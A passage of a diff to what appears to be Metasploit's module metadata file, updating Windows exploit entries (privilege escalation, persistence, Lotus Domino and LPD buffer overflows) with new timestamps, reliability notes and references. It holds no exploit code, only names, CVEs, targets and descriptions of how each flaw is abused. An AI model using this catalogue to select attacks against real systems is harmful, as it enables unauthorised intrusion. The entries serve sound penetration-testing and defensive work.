"2020-01-22", "type": "exploit", @@ -183216,16 +188149,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/local/ricoh_driver_privesc.rb", "is_install_path": true, "ref_name": "windows/local/ricoh_driver_privesc", @@ -183247,16 +188176,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/run_as": { "name": "Windows Run Command As User", "fullname": "exploit/windows/local/run_as", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -183271,16 +188196,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2022-06-29 19:18:47 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/run_as.rb", "is_install_path": true, "ref_name": "windows/local/run_as", @@ -183288,21 +188209,26 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/s4u_persistence": { "name": "Windows Manage User Level Persistent Payload Installer", "fullname": "exploit/windows/local/s4u_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-02", "type": "exploit", @@ -183318,16 +188244,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/s4u_persistence.rb", "is_install_path": true, "ref_name": "windows/local/s4u_persistence", @@ -183335,21 +188257,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/service_permissions": { "name": "Windows Escalate Service Permissions Local Privilege Escalation", "fullname": "exploit/windows/local/service_permissions", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-10-15", "type": "exploit", @@ -183360,21 +188287,20 @@ ], "description": "This module attempts to exploit existing administrative privileges to obtain\n a SYSTEM session. If directly creating a service fails, this module will inspect\n existing services to look for insecure configuration, file or registry permissions that may\n be hijacked. It will then attempt to restart the replaced service to run the\n payload. This will result in a new session when this succeeds.", "references": [ - "URL-https://itm4n.github.io/windows-registry-rpceptmapper-eop/" + "URL-https://itm4n.github.io/windows-registry-rpceptmapper-eop/", + "URL-https://birkep.github.io/posts/Windows-LPE/", + "CVE-2025-21293" ], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ - "Automatic" + "Automatic", + "Exploit CVE-2025-21293" ], - "mod_time": "2020-12-08 18:05:28 +0000", + "mod_time": "2025-06-23 09:30:35 +0000", "path": "/modules/exploits/windows/local/service_permissions.rb", "is_install_path": true, "ref_name": "windows/local/service_permissions", @@ -183382,21 +188308,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/srclient_dll_hijacking": { "name": "Windows Server 2012 SrClient DLL hijacking", "fullname": "exploit/windows/local/srclient_dll_hijacking", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-19", "type": "exploit", @@ -183410,12 +188342,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Server 2012 (x64)" ], @@ -183443,16 +188371,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/tokenmagic": { "name": "Windows Privilege Escalation via TokenMagic (UAC Bypass)", "fullname": "exploit/windows/local/tokenmagic", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-25", "type": "exploit", @@ -183472,12 +188396,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183504,16 +188424,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/unquoted_service_path": { "name": "Windows Unquoted Service Path Privilege Escalation", "fullname": "exploit/windows/local/unquoted_service_path", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2001-10-25", "type": "exploit", @@ -183530,16 +188446,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2025-04-13 16:34:03 +0000", "path": "/modules/exploits/windows/local/unquoted_service_path.rb", "is_install_path": true, "ref_name": "windows/local/unquoted_service_path", @@ -183562,16 +188474,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/virtual_box_guest_additions": { "name": "VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation", "fullname": "exploit/windows/local/virtual_box_guest_additions", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-07-15", "type": "exploit", @@ -183587,16 +188495,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/virtual_box_guest_additions.rb", "is_install_path": true, "ref_name": "windows/local/virtual_box_guest_additions", @@ -183604,21 +188508,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/virtual_box_opengl_escape": { "name": "VirtualBox 3D Acceleration Virtual Machine Escape", "fullname": "exploit/windows/local/virtual_box_opengl_escape", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-03-11", "type": "exploit", @@ -183637,16 +188546,12 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/virtual_box_opengl_escape.rb", "is_install_path": true, "ref_name": "windows/local/virtual_box_opengl_escape", @@ -183654,21 +188559,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/vss_persistence": { "name": "Persistent Payload in Windows Volume Shadow Copy", "fullname": "exploit/windows/local/vss_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-21", "type": "exploit", @@ -183683,12 +188593,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Windows" ], @@ -183715,23 +188621,19 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/webexec": { "name": "WebEx Local Service Permissions Exploit", "fullname": "exploit/windows/local/webexec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-10-09", "type": "exploit", "author": [ "Jeff McJunkin " ], - "description": "This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,\n can be used to run arbitrary commands locally, and can be started by limited users in\n default installations.", + "description": "This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,\n can be used to run arbitrary commands locally, and can be started by limited users in\n default installations.", "references": [ "URL-https://webexec.org", "CVE-2018-15442" @@ -183739,18 +188641,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows x86", "Windows x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/webexec.rb", "is_install_path": true, "ref_name": "windows/local/webexec", @@ -183758,21 +188656,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/win_error_cve_2023_36874": { "name": "Microsoft Error Reporting Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/win_error_cve_2023_36874", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-11", "type": "exploit", @@ -183791,12 +188694,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -183824,16 +188723,12 @@ "powershell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/windscribe_windscribeservice_priv_esc": { "name": "Windscribe WindscribeService Named Pipe Privilege Escalation", "fullname": "exploit/windows/local/windscribe_windscribeservice_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-24", "type": "exploit", @@ -183850,16 +188745,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/windscribe_windscribeservice_priv_esc.rb", "is_install_path": true, "ref_name": "windows/local/windscribe_windscribeservice_priv_esc", @@ -183872,22 +188763,21 @@ ], "Stability": [ "crash-safe" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/wmi": { "name": "Windows Management Instrumentation (WMI) Remote Command Execution", "fullname": "exploit/windows/local/wmi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -183903,16 +188793,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2022-09-23 17:41:20 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/wmi.rb", "is_install_path": true, "ref_name": "windows/local/wmi", @@ -183920,21 +188806,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/wmi_persistence": { "name": "WMI Event Subscription Persistence", "fullname": "exploit/windows/local/wmi_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-06", "type": "exploit", @@ -183949,16 +188840,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2024-03-12 12:17:46 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/wmi_persistence.rb", "is_install_path": true, "ref_name": "windows/local/wmi_persistence", @@ -183966,21 +188853,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/lotus/domino_http_accept_language": { "name": "IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow", "fullname": "exploit/windows/lotus/domino_http_accept_language", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-05-20", "type": "exploit", @@ -183988,7 +188880,7 @@ "Fairuzan Roslan ", "Earl Marcus klks " ], - "description": "This module exploits a stack buffer overflow in IBM Lotus Domino Web Server\n prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP\n request with an Accept-Language header greater than 114 bytes.", + "description": "This module exploits a stack buffer overflow in IBM Lotus Domino Web Server\n prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP\n request with an Accept-Language header greater than 114 bytes.", "references": [ "CVE-2008-2240", "OSVDB-45415", @@ -184022,7 +188914,7 @@ "Lotus Domino 8.0 on Windows 2003 SP2 English(NX)", "Lotus Domino 8.0 on Windows 2003/2000/XP English(NO NX)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lotus/domino_http_accept_language.rb", "is_install_path": true, "ref_name": "windows/lotus/domino_http_accept_language", @@ -184030,6 +188922,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184037,9 +188938,7 @@ "exploit_windows/lotus/domino_icalendar_organizer": { "name": "IBM Lotus Domino iCalendar MAILTO Buffer Overflow", "fullname": "exploit/windows/lotus/domino_icalendar_organizer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-14", "type": "exploit", @@ -184047,7 +188946,7 @@ "A. Plaskett", "sinn3r " ], - "description": "This module exploits a vulnerability found in IBM Lotus Domino iCalendar. By\n sending a long string of data as the \"ORGANIZER;mailto\" header, process \"nRouter.exe\"\n crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to\n gain arbitrary code execution.\n\n Note: In order to trigger the vulnerable code path, a valid Domino mailbox account\n is needed.", + "description": "This module exploits a vulnerability found in IBM Lotus Domino iCalendar. By\n sending a long string of data as the \"ORGANIZER;mailto\" header, process \"nRouter.exe\"\n crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to\n gain arbitrary code execution.\n\n Note: In order to trigger the vulnerable code path, a valid Domino mailbox account\n is needed.", "references": [ "CVE-2010-3407", "OSVDB-68040", @@ -184058,18 +188957,14 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lotus Domino 8.5 on Windows 2000 SP4", "Lotus Domino 8.5 on Windows Server 2003 SP0", "Lotus Domino 8.5 on Windows Server 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lotus/domino_icalendar_organizer.rb", "is_install_path": true, "ref_name": "windows/lotus/domino_icalendar_organizer", @@ -184077,6 +188972,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184084,9 +188988,7 @@ "exploit_windows/lotus/domino_sametime_stmux": { "name": "IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow", "fullname": "exploit/windows/lotus/domino_sametime_stmux", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-05-21", "type": "exploit", @@ -184094,22 +188996,19 @@ "aushack ", "riaf " ], - "description": "This module exploits a stack buffer overflow in Lotus Domino\\'s Sametime\n Server. By sending an overly long POST request to the Multiplexer\n STMux.exe service we are able to overwrite SEH. Based on the exploit\n by Manuel Santamarina Suarez.", + "description": "This module exploits a stack buffer overflow in Lotus Domino\\'s Sametime\n Server. By sending an overly long POST request to the Multiplexer\n STMux.exe service we are able to overwrite SEH. Based on the exploit\n by Manuel Santamarina Suarez.", "references": [ "CVE-2008-2499", "OSVDB-45610", "BID-29328", - "ZDI-08-028" + "ZDI-08-028", + "ATT&CK-T1210" ], "platform": "Windows", "arch": "x86", "rport": 1533, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lotus Sametime 7.5 on Windows Server 2000 SP4", "Lotus Sametime 7.5 on Windows Server 2003 SP1", @@ -184117,7 +189016,7 @@ "Lotus Sametime 7.5.1 Windows Server 2003 SP2", "Lotus Sametime 8.0.0 Windows Server 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/lotus/domino_sametime_stmux.rb", "is_install_path": true, "ref_name": "windows/lotus/domino_sametime_stmux", @@ -184125,6 +189024,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184132,9 +189040,7 @@ "exploit_windows/lotus/lotusnotes_lzh": { "name": "Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)", "fullname": "exploit/windows/lotus/lotusnotes_lzh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-24", "type": "exploit", @@ -184142,7 +189048,7 @@ "binaryhouse.net", "alino <26alino@gmail.com>" ], - "description": "This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when\n parsing a malformed, specially crafted LZH file. This vulnerability was\n discovered binaryhouse.net", + "description": "This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when\n parsing a malformed, specially crafted LZH file. This vulnerability was\n discovered binaryhouse.net", "references": [ "CVE-2011-1213", "OSVDB-72706", @@ -184169,7 +189075,7 @@ "Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal", "Lotus Notes 8.5.2 FP2 / Windows Universal / DEP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lotus/lotusnotes_lzh.rb", "is_install_path": true, "ref_name": "windows/lotus/lotusnotes_lzh", @@ -184177,6 +189083,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184184,16 +189099,14 @@ "exploit_windows/lpd/hummingbird_exceed": { "name": "Hummingbird Connectivity 10 SP5 LPD Buffer Overflow", "fullname": "exploit/windows/lpd/hummingbird_exceed", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-05-27", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Hummingbird Connectivity\n 10 LPD Daemon. This module has only been tested against Hummingbird\n Exceed v10 with SP5.", + "description": "This module exploits a stack buffer overflow in Hummingbird Connectivity\n 10 LPD Daemon. This module has only been tested against Hummingbird\n Exceed v10 with SP5.", "references": [ "CVE-2005-1815", "OSVDB-16957", @@ -184202,18 +189115,14 @@ "platform": "Windows", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English SP0-SP4", "Windows XP English SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lpd/hummingbird_exceed.rb", "is_install_path": true, "ref_name": "windows/lpd/hummingbird_exceed", @@ -184221,6 +189130,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184228,16 +189146,14 @@ "exploit_windows/lpd/niprint": { "name": "NIPrint LPD Request Overflow", "fullname": "exploit/windows/lpd/niprint", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-11-05", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the\n Network Instrument NIPrint LPD service. Inspired by\n Immunity's VisualSploit :-)", + "description": "This module exploits a stack buffer overflow in the\n Network Instrument NIPrint LPD service. Inspired by\n Immunity's VisualSploit :-)", "references": [ "CVE-2003-1141", "OSVDB-2774", @@ -184247,18 +189163,14 @@ "platform": "Windows", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NIPrint3.EXE (TDS:0x3a045ff2)", "Windows XP SP3", "Windows 7 x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lpd/niprint.rb", "is_install_path": true, "ref_name": "windows/lpd/niprint", @@ -184266,6 +189178,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184273,16 +189194,14 @@ "exploit_windows/lpd/saplpd": { "name": "SAP SAPLPD 6.28 Buffer Overflow", "fullname": "exploit/windows/lpd/saplpd", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .\n By sending an overly long argument, an attacker may be able to execute arbitrary\n code.", + "description": "This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .\n By sending an overly long argument, an attacker may be able to execute arbitrary\n code.", "references": [ "CVE-2008-0621", "OSVDB-41127", @@ -184291,16 +189210,12 @@ "platform": "Windows", "arch": "", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SAPlpd 6.28.0.1 (SAP Release 6.40)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lpd/saplpd.rb", "is_install_path": true, "ref_name": "windows/lpd/saplpd", @@ -184308,6 +189223,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184315,16 +189239,14 @@ "exploit_windows/lpd/wincomlpd_admin": { "name": "WinComLPD Buffer Overflow", "fullname": "exploit/windows/lpd/wincomlpd_admin", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.\n By sending an overly long authentication packet to the remote\n administration service, an attacker may be able to execute arbitrary\n code.", + "description": "This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.\n By sending an overly long authentication packet to the remote\n administration service, an attacker may be able to execute arbitrary\n code.", "references": [ "CVE-2008-5159", "OSVDB-42861", @@ -184333,16 +189255,12 @@ "platform": "Windows", "arch": "", "rport": 13500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinComLPD 3.0.2.623" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/lpd/wincomlpd_admin.rb", "is_install_path": true, "ref_name": "windows/lpd/wincomlpd_admin", @@ -184350,6 +189268,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184357,9 +189284,7 @@ "exploit_windows/misc/achat_bof": { "name": "Achat Unicode SEH Buffer Overflow", "fullname": "exploit/windows/misc/achat_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-18", "type": "exploit", @@ -184367,23 +189292,19 @@ "Peter Kasza ", "Balazs Bucsay " ], - "description": "This module exploits a Unicode SEH buffer overflow in Achat. By\n sending a crafted message to the default port 9256/UDP, it's possible to overwrite the\n SEH handler. Even when the exploit is reliable, it depends on timing since there are\n two threads overflowing the stack in the same time. This module has been tested on\n Achat v0.150 running on Windows XP SP3 and Windows 7.", + "description": "This module exploits a Unicode SEH buffer overflow in Achat. By\n sending a crafted message to the default port 9256/UDP, it's possible to overwrite the\n SEH handler. Even when the exploit is reliable, it depends on timing since there are\n two threads overflowing the stack in the same time. This module has been tested on\n Achat v0.150 running on Windows XP SP3 and Windows 7.", "references": [ "CWE-121" ], "platform": "Windows", "arch": "", "rport": 9256, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/achat_bof.rb", "is_install_path": true, "ref_name": "windows/misc/achat_bof", @@ -184391,6 +189312,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184398,9 +189328,7 @@ "exploit_windows/misc/actfax_raw_server_bof": { "name": "ActFax 5.01 RAW Server Buffer Overflow", "fullname": "exploit/windows/misc/actfax_raw_server_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-05", "type": "exploit", @@ -184409,7 +189337,7 @@ "corelanc0d3r", "juan vazquez " ], - "description": "This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW\n Server can be used to transfer fax messages without any underlying protocols. To\n note significant fields in the fax being transferred, like the fax number or the\n recipient, ActFax data fields can be used. This module exploits a buffer overflow\n in the handling of the @F506 fields due to the insecure usage of strcpy. This\n module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).", + "description": "This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW\n Server can be used to transfer fax messages without any underlying protocols. To\n note significant fields in the fax being transferred, like the fax number or the\n recipient, ActFax data fields can be used. This module exploits a buffer overflow\n in the handling of the @F506 fields due to the insecure usage of strcpy. This\n module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).", "references": [ "OSVDB-89944", "BID-57789", @@ -184419,16 +189347,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ActFax 5.01 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/actfax_raw_server_bof.rb", "is_install_path": true, "ref_name": "windows/misc/actfax_raw_server_bof", @@ -184436,6 +189360,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184443,16 +189376,14 @@ "exploit_windows/misc/agentxpp_receive_agentx": { "name": "AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow", "fullname": "exploit/windows/misc/agentxpp_receive_agentx", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-04-16", "type": "exploit", "author": [ "jduck " ], - "description": "This exploits a stack buffer overflow in the AgentX++ library, as used by\n various applications. By sending a specially crafted request, an attacker can\n execute arbitrary code, potentially with SYSTEM privileges.\n\n This module was tested successfully against master.exe as included with Real\n Network\\'s Helix Server v12. When installed as a service with Helix Server,\n the service runs as SYSTEM, has no recovery action, but will start automatically\n on boot.\n\n This module does not work with NX/XD enabled but could be modified easily to\n do so. The address", + "description": "This exploits a stack buffer overflow in the AgentX++ library, as used by\n various applications. By sending a specially crafted request, an attacker can\n execute arbitrary 